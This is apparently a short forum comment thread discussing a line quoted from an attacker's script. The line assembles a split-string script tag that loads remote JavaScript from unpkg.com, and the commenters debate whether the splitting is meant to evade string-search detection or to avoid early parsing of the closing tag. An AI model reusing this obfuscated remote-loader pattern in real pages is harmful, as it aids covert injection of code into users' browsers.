3 ms·
Can someone explain to me why the attacker wrote the script source tag as "var config_fragment = '<sc' + 'ript sr' + 'c="ht'+ 'tps://un' + 'p' + 'kg.com/' +
by cgb223 9y ago
Can someone explain to me why the attacker wrote the script source tag as
"var config_fragment = '<sc' + 'ript sr' + 'c="ht'+ 'tps://un' + 'p' + 'kg.com/' + hash + '/' + hour + '.js"></sc ' + 'ript>';"
Instead of just:
var config_fragment = '<script src="https://unpkg.com/' + hash + '/' + hour + '.js"></script>';
- aurelianito 9y agoTo make it mor difficult to analyze the script. A simple string search will fail to catch the offending code.
- anonred 9y agoIt’s usually done to prevent the parser from interpreting the closing script tag early: https://stackoverflow.com/questions/236073/why-split-the-script-tag-when-writing-it-with-document-write https://stackoverflow.com/questions/236073/why-split-the-scr...
- limeblack 9y agoIf this is truly the reason the coder went overboard in parsing it up IMO.
- deleted 9y ago[deleted]